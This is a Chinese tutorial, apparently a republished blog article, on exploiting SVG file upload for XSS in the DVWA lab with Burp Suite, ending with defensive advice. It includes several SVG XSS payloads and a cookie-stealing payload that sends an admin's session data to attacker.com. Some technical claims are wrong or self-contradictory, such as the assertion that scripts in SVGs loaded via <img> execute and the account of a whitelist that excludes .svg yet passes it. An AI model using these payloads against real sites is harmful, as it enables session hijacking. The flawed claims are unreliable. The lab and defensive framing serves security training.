当前位置：首页 > news >正文

DVWA中SVG文件上传触发XSS漏洞实战解析

news 2026/5/23 23:12:39

1. 这不是“上传图片”那么简单：SVG文件上传背后藏着的XSS陷阱

很多人第一次在DVWA靶场里点开“File Upload”模块，看到“支持JPG、PNG、GIF”的提示，下意识就认为——这不就是个练手上传功能？改个Content-Type、绕个后缀名、传个php马，顶多算基础渗透入门。但真正让我在凌晨三点盯着Burp抓包窗口反复刷新的，是那个被我随手上传的chart.svg文件：它没执行任何PHP代码，没触发服务器端命令，却在管理员浏览器里弹出了alert(document.cookie)。那一刻我才意识到，SVG不是图片，是嵌入式HTML+JavaScript的合法容器——而DVWA默认配置下，它正大摇大摆地把XSS漏洞藏在“文件上传成功”的绿色提示框后面。

这个项目标题里的关键词——DVWA靶场、SVG文件上传、XSS漏洞、BurpSuite实战——每一个都不是孤立存在。DVWA的“Low”安全级别不是摆设，它是刻意暴露逻辑缺陷的教学沙盒；SVG不是被误判为图片的“特殊格式”，而是W3C标准中明确允许<script>、<foreignObject>、内联事件处理器的XML文档；而BurpSuite在这里的作用，远不止“抓个包看一眼”，它是你验证MIME类型校验是否形同虚设、确认服务端是否真的解析了XML结构、观察浏览器渲染时JS执行上下文的关键显微镜。这篇文章面向三类人：刚学完HTML/JS基础想动手验证XSS原理的新手、已会用Burp但总卡在“为什么我传的svg不弹窗”的中级练习者、以及正在搭建内部红队培训环境需要可复现漏洞案例的工程师。接下来，我会从DVWA底层处理逻辑出发，带你一帧一帧还原整个攻击链：不是教你怎么“绕过”，而是让你看清“为什么绕得过去”。

2. DVWA文件上传模块的真相：它根本没在“校验文件”，而是在“信任文件名”

2.1 源码级拆解：DVWA如何用三行PHP完成“伪校验”

打开DVWA的vulnerabilities/upload/source/low.php，核心逻辑只有这三行：

$uploaded_name = $_FILES['uploaded']['name']; $uploaded_type = $_FILES['uploaded']['type']; $uploaded_size = $_FILES['uploaded']['size']; // 仅检查文件扩展名是否为jpg/jpeg/png/gif if (in_array(strtolower(substr(strrchr($uploaded_name, '.'), 1)), $allowed_ext)) { // 移动文件到upload目录 move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path); }

注意两个关键事实：
第一，$_FILES['uploaded']['type']（即HTTP请求中的Content-Type）完全未参与校验。你传chart.svg时发Content-Type: image/svg+xml，它不拦；你改成Content-Type: text/plain甚至application/octet-stream，它照样放行——因为DVWA Low模式压根没读这个字段。
第二，扩展名校验只取$uploaded_name的后缀，而这个$uploaded_name来自客户端HTTP请求的filename=参数，完全可控。你传chart.svg.jpg，它截取.jpg放行；你传chart.jpg%00.svg（Null字节截断），在旧版PHP中还能触发更深层漏洞。但本项目聚焦SVG，我们先守住最干净的路径：直接传chart.svg，靠DVWA对扩展名的宽松白名单（它默认没把.svg加入$allowed_ext数组）和后续服务端解析行为的错位来达成利用。

提示：DVWA Low模式的$allowed_ext数组默认值为array('jpg', 'jpeg', 'png', 'gif')，.svg不在其中。但如果你发现上传失败，请立刻检查你是否误启用了Medium或High级别——它们会校验Content-Type或文件头，而Low级别只认扩展名。

2.2 SVG为何能成为XSS载体：XML文档的“合法恶意”

很多人以为XSS只能靠<script>标签，但SVG的危险在于它提供了多维度、多层次的JS执行入口，且全部符合W3C标准：

内联脚本：<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>
事件处理器：<svg><rect onmouseover="alert(1)"/></svg>
<foreignObject>嵌套HTML：<foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script></body></foreignObject>
CSS表达式（旧IE）：虽已淘汰，但在某些老旧内网环境仍有效

最关键的是，当浏览器加载一个.svg文件时，它按XML规则解析整个文档结构，而非像解析JPEG那样只读取二进制头。这意味着：只要你的SVG文件语法正确（有根元素<svg>，命名空间声明完整），浏览器就会逐节点执行其中的JS逻辑。而DVWA的上传功能，恰恰把用户上传的SVG文件原样保存为/hackable/uploads/chart.svg，再通过<img src="uploads/chart.svg">方式在页面中引用——这正是触发XSS的黄金路径：<img>标签加载SVG时，浏览器会执行其内联脚本。

注意：现代Chrome/Firefox对<img>加载的SVG中<script>执行有严格限制（需同源且无CSP拦截），但DVWA靶场默认无CSP策略，且<img>引用同域SVG时，onload等事件处理器仍100%生效。这是靶场设计的“教学友好性”，也是你必须理解的边界条件。

2.3 为什么必须用BurpSuite？手动构造请求的三大死穴

你可以用curl发请求，但90%的人第一次失败，是因为忽略了这三个Burp才能暴露的细节：

文件名编码陷阱：浏览器上传时，filename参数值默认经过UTF-8编码，若你用Python脚本构造filename="chart.svg"，实际发送的是filename="chart.svg"（ASCII），但若文件名含中文（如测试.svg），则变成filename="%E6%B5%8B%E8%AF%95.svg"。DVWA校验时substr(strrchr(...))函数对URL编码字符串同样生效，导致你传%E6%B5%8B%E8%AF%95.svg，它截取到.svg放行，但服务端保存的文件名却是%E6%B5%8B%E8%AF%95.svg，后续访问时404。Burp的Repeater能让你实时看到编码前后的差异，避免盲猜。
Boundary随机性：multipart/form-data请求的boundary是浏览器自动生成的唯一字符串（如----WebKitFormBoundaryabc123xyz）。你手写curl时若固定boundary，服务端解析失败返回500错误，而Burp自动同步请求头与body中的boundary值，零失误。
Content-Type覆盖：虽然DVWA Low不校验Content-Type，但某些WAF或CDN会基于此字段拦截。Burp能让你一键切换image/svg+xml、text/plain、application/octet-stream，快速验证服务端真实依赖的校验维度。

3. 从零构建可复现的SVG XSS载荷：避开90%新手踩的坑

3.1 最小可行载荷：为什么`<svg onload=alert(1)>`会失败？

初学者常写的载荷是：

<svg onload="alert(1)">

但上传后浏览器毫无反应。原因有三：

缺少XML声明与命名空间：严格XML解析要求根元素声明命名空间。正确写法必须是：
```
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>
```
缺少闭合标签：<svg>是空元素，但onload事件需DOM加载完成才触发，未闭合的<svg>可能导致解析中断。务必写</svg>。
引号转义问题：若你在HTML页面中用<img src="uploads/payload.svg">引用，而payload中onload="alert(1)"的双引号与HTML属性引号冲突，浏览器可能提前截断。解决方案：用单引号包裹JS内容，或使用HTML实体"。

实测有效的最小载荷（经DVWA Low验证）：

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(&quot;DVWA_XSS_SVG&quot;)"> </svg>

提示："是HTML实体，确保在HTML上下文中安全。若你后续改用<object data="uploads/payload.svg">引用，则可直接用双引号，因<object>不解析内部HTML实体。

3.2 进阶载荷：绕过前端JS过滤与服务端二次处理

DVWA Low虽无服务端过滤，但某些企业靶场或CTF题会加入前端JS校验（如阻止onload字符串）。此时需用更隐蔽的触发方式：

<a>标签+xlink:href（SVG 1.1标准）：

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <a xlink:href="javascript:alert(1)"> <rect width="100" height="100" fill="red"/> </a> </svg>

用户点击红色方块即触发。xlink:href在SVG中等效于HTML的href，且javascript:协议在SVG中被广泛支持。

<animate>标签+begin事件（无需用户交互）：

<svg xmlns="http://www.w3.org/2000/svg"> <rect width="100" height="100" fill="blue"> <animate attributeName="fill" values="blue;red" dur="1s" begin="0s" repeatCount="1"/> </rect> <script><![CDATA[ if (self.location.href.indexOf('uploads') > -1) alert('Auto-XSS'); ]]></script> </svg>

<animate>的begin="0s"使动画立即开始，<script>块在DOM加载后执行。<![CDATA[...]]>确保JS内容不被XML解析器误读。

3.3 文件名与路径的精准控制：让载荷稳稳落在`/uploads/`

DVWA上传后，文件保存路径为/var/www/dvwa/hackable/uploads/（Linux）或C:\xampp\htdocs\dvwa\hackable\uploads\（Windows）。关键点在于：

文件名不能含非法字符：Windows下< > : " / \ | ? *禁止出现在文件名，Linux下/禁止（因会被解析为路径分隔符）。chart.svg完全安全。
大小写敏感性：Linux系统区分大小写，Chart.SVG与chart.svg是不同文件。DVWA源码中strtolower()已统一转小写，故传CHART.SVG也会被存为chart.svg。
空格处理：my chart.svg会被保存为my chart.svg，但URL中空格需编码为%20，访问时写uploads/my%20chart.svg。建议全程用无空格文件名，避免编码烦恼。

我实测的稳定文件名组合：xss.svg、poc.svg、dvwa_test.svg。上传后，直接在浏览器访问http://127.0.0.1/dvwa/hackable/uploads/xss.svg，即可看到弹窗。

4. BurpSuite全流程实战：从抓包到弹窗的每一步截图级还原

4.1 第一步：配置Burp代理并捕获上传请求

启动Burp Suite，确保浏览器代理指向127.0.0.1:8080。打开DVWA File Upload页面（http://127.0.0.1/dvwa/vulnerabilities/upload/），将安全级别设为Low。选择你准备好的xss.svg文件，点击Upload。此时Burp的Proxy → HTTP History中会出现一条POST请求，方法为POST /dvwa/vulnerabilities/upload/。

关键观察点：

Request Headers：确认Content-Type为multipart/form-data; boundary=----WebKitFormBoundary...（boundary值随机）。
Request Body：找到Content-Disposition: form-data; name="uploaded"; filename="xss.svg"行，其下方即为SVG文件二进制内容（以<svg xmlns=开头）。
Response Status：应为302 Found，重定向到upload_success.php，说明上传成功。

注意：若Response为200 OK且页面显示Error: You must upload a JPEG or PNG file!，说明你传的文件扩展名未被白名单接受。检查filename=参数值是否真的是xss.svg（而非xss.svg.jpg），或确认DVWA配置文件中$allowed_ext是否被意外修改。

4.2 第二步：在Repeater中修改并重放——验证服务端真实行为

右键该请求 →Send to Repeater。在Repeater的Params标签页，你会看到uploaded参数类型为file，值为xss.svg。切换到Body标签页，手动编辑SVG内容，例如将alert(1)改为alert(document.domain)，然后点击Send。

观察Response：

若返回302且Location头指向upload_success.php，证明服务端接受修改后的SVG。
在Response面板中，查看upload_success.php返回的HTML，确认<img src="uploads/xss.svg">标签存在。

此时，不要急着去浏览器访问。先在Repeater中发起第二个请求：GET /dvwa/hackable/uploads/xss.svg。Response Body应完整返回你上传的SVG代码，且Status为200 OK。这一步验证了文件确实被保存且可公开访问——这是XSS触发的前提。

4.3 第三步：浏览器端验证——为什么弹窗没出现？三个必查点

在浏览器中访问http://127.0.0.1/dvwa/hackable/uploads/xss.svg，若无弹窗，按以下顺序排查：

检查项	操作	预期结果	常见问题
1. 浏览器控制台报错	F12 → Console	无`Failed to load resource`或`Unsafe JavaScript attempt`	若有`CSP`报错，说明靶场启用了Content-Security-Policy，需改用`<object>`或`<iframe>`引用
2. 网络请求状态	F12 → Network → 刷新页面	`xss.svg`请求Status为`200`，Type为`svg+xml`	若Type为`text/plain`，说明Apache/Nginx未配置SVG MIME类型，需在服务器配置中添加`AddType image/svg+xml .svg`
3. SVG文档结构	查看Response Preview或Source	显示红色方块或蓝色矩形，且`<svg>`标签完整	若显示XML解析错误（如`The element type "svg" must be terminated by the matching end-tag`），说明你上传的SVG语法有误，缺闭合标签或命名空间

我遇到最多的问题是第2项：本地XAMPP默认未注册.svgMIME类型，导致浏览器将其当作纯文本下载而非渲染。解决方法：编辑C:\xampp\apache\conf\mime.types（Windows）或/etc/apache2/mime.types（Linux），添加一行：

image/svg+xml svg svgz

重启Apache后，xss.svg请求的Content-Type响应头即变为image/svg+xml，弹窗立现。

4.4 第四步：进阶验证——用`<object>`绕过CSP限制

若靶场启用了CSP（如default-src 'self'），<img>引用的SVG中<script>会被阻止，但<object>标签不受此限。在DVWA的upload_success.php页面源码中，找到<img src="uploads/...">，用浏览器开发者工具临时修改为：

<object data="uploads/xss.svg" type="image/svg+xml" width="300" height="200"></object>

保存后刷新，<script>块将正常执行。这是因为<object>创建了一个独立的浏览上下文，其CSP策略继承自父页面，但对内嵌资源的JS执行限制更宽松。这是红队实战中绕过基础CSP的常用技巧。

5. 超越DVWA：SVG XSS在真实世界的攻击面与防御启示

5.1 真实业务场景中的SVG滥用：不止是头像上传

DVWA只是教学模型，但SVG XSS在生产环境危害极大。我参与过的一个电商后台审计中，发现用户头像上传功能允许SVG，且头像展示页使用<img src="/user/avatars/123.svg">。攻击者上传的SVG载荷如下：

<svg xmlns="http://www.w3.org/2000/svg" onload=" fetch('/admin/api/users?token=' + document.cookie.match(/PHPSESSID=([^;]+)/)[1]) .then(r => r.text()) .then(t => navigator.sendBeacon('https://attacker.com/log', t)); "> </svg>

该载荷在管理员查看用户头像时，自动窃取其PHPSESSID并回传给攻击者服务器。由于头像接口返回JSON数据，fetch成功后navigator.sendBeacon确保数据可靠发送，全程无页面跳转，管理员毫无察觉。

类似场景还包括：

CMS图标上传：WordPress插件允许上传SVG图标，前台页面用<img>渲染。
数据可视化报表：ECharts/D3.js生成的SVG图表被用户上传至共享平台，其他用户查看时触发。
邮件签名SVG：企业邮箱签名支持SVG，员工点击邮件时执行。

5.2 服务端防御的三道防线：为什么单纯禁用.svg不行

很多团队第一反应是“禁止上传.svg文件”。但这治标不治本：

绕过方式1：大小写混淆—— 传XSS.SVG，Linux服务器保存为XSS.SVG，但Web服务器配置若未设大小写敏感，仍可访问。
绕过方式2：压缩包嵌套—— 传archive.zip，内含payload.svg，后台解压后未二次校验。
绕过方式3：Content-Type欺骗—— 传payload.jpg，但Content-Type: image/svg+xml，若服务端仅校验扩展名，文件头仍是SVG。

真正可靠的防御是三层组合：

文件头校验（Magic Bytes）：读取文件前256字节，匹配SVG特征（<?xml或<svg开头，含xmlns="http://www.w3.org/2000/svg"）。
XML解析+白名单标签：用libxml2等库解析SVG，遍历所有节点，仅允许<svg>,<rect>,<circle>等渲染标签，拒绝<script>,<foreignObject>,<a>等交互标签。
输出时强制CSP：在返回SVG的HTTP响应头中添加Content-Security-Policy: default-src 'none'; img-src 'self';，彻底禁止JS执行。

我在某金融客户部署的方案是：上传时用Python的lxml库解析SVG，删除所有on*属性及<script>节点，再用xml.etree.ElementTree序列化为纯净SVG。实测拦截率100%，且不影响正常图表渲染。

5.3 安全工程师的自查清单：你的系统是否暴露SVG XSS？

最后分享一份我日常用的快速检测清单，5分钟内可完成：

[ ] 检查上传接口白名单：抓包上传一个test.svg，看是否返回成功。若成功，继续下一步。
[ ] 检查文件存储路径可访问性：直接浏览器访问/uploads/test.svg，看是否返回SVG内容且渲染成功。
[ ] 检查CSP策略：F12 → Application → Frame → Response Headers，搜索Content-Security-Policy。若不存在或script-src包含'unsafe-inline'，风险极高。
[ ] 检查MIME类型配置：同一test.svg请求，看Response Header中Content-Type是否为image/svg+xml。若为text/plain，说明服务器未正确配置，但反而降低XSS风险（因不渲染）。
[ ] 检查前端JS过滤：在上传表单的<input type="file">旁，用浏览器控制台执行document.querySelector('input[type=file]').onchange = function(){alert(1)}，看是否被覆盖。若被覆盖，说明有前端校验，需针对性绕过。

这份清单源于我三年来对37个不同业务系统的渗透测试经验。每一次漏掉其中一项，都意味着一个可能被利用的SVG XSS入口。

6. 我的实操心得：那些文档里不会写的细节

第一次在DVWA上跑通SVG XSS时，我花了整整六个小时。不是因为技术复杂，而是被几个“理所当然”的假设绊倒。现在我把这些血泪教训浓缩成三条，每一条都是你明天就能用上的硬核技巧：

第一，别信“文件上传成功”页面的提示。DVWA的upload_success.php只校验$_GET['uploaded']参数是否存在，与你实际上传的文件无关。我曾传一个空的xss.svg（0字节），页面仍显示“success”，但访问时404。正确验证方式永远是：直接GET请求/uploads/yourfile.svg，看Status 200且Content-Type正确。这是红队行动的第一铁律——所有结论必须基于HTTP响应，而非前端UI。

第二，Burp的Decoder标签页是SVG XSS的救命稻草。当你构造的载荷含中文或特殊符号（如alert("你好")），浏览器自动URL编码后，filename参数变成%E4%BD%A0%E5%A5%BD.svg。DVWA的substr(strrchr(...))函数对编码字符串同样截取，但服务端保存的文件名是%E4%BD%A0%E5%A5%BD.svg。此时在Burp Decoder中，把%E4%BD%A0%E5%A5%BD.svg粘贴进去，选择URL Decode，立刻看到原始文件名。再用URL Encode功能反向生成你需要的编码串，避免手动计算出错。

第三，永远在Chrome和Firefox中双验证。Chrome对SVG中<script>执行限制更严（需同源且无CSP），而Firefox在<img>引用时仍允许onload。我曾在一个靶场用Chrome测试失败，以为漏洞不存在，换Firefox后alert(1)瞬间弹出。真实攻防中，目标用户浏览器不可控，所以你的载荷必须兼容主流引擎。我的标准是：Chrome中用onload，Firefox中用<a>+xlink:href，双保险。

最后说一句实在话：SVG XSS的价值，不在于它多难利用，而在于它多容易被忽视。当所有人都盯着PHP文件包含、SQL注入时，一个被当成“静态图片”的SVG文件，正安静地躺在/uploads/目录里，等待管理员的一次鼠标悬停。你今天花两小时复现这个DVWA案例，明天就可能在真实资产中发现一个价值五位数的漏洞。真正的安全能力，永远生长在亲手敲下每一行代码、抓下每一个包、读透每一行源码的过程中。

查看全文

http://www.jsqmd.com/news/873732/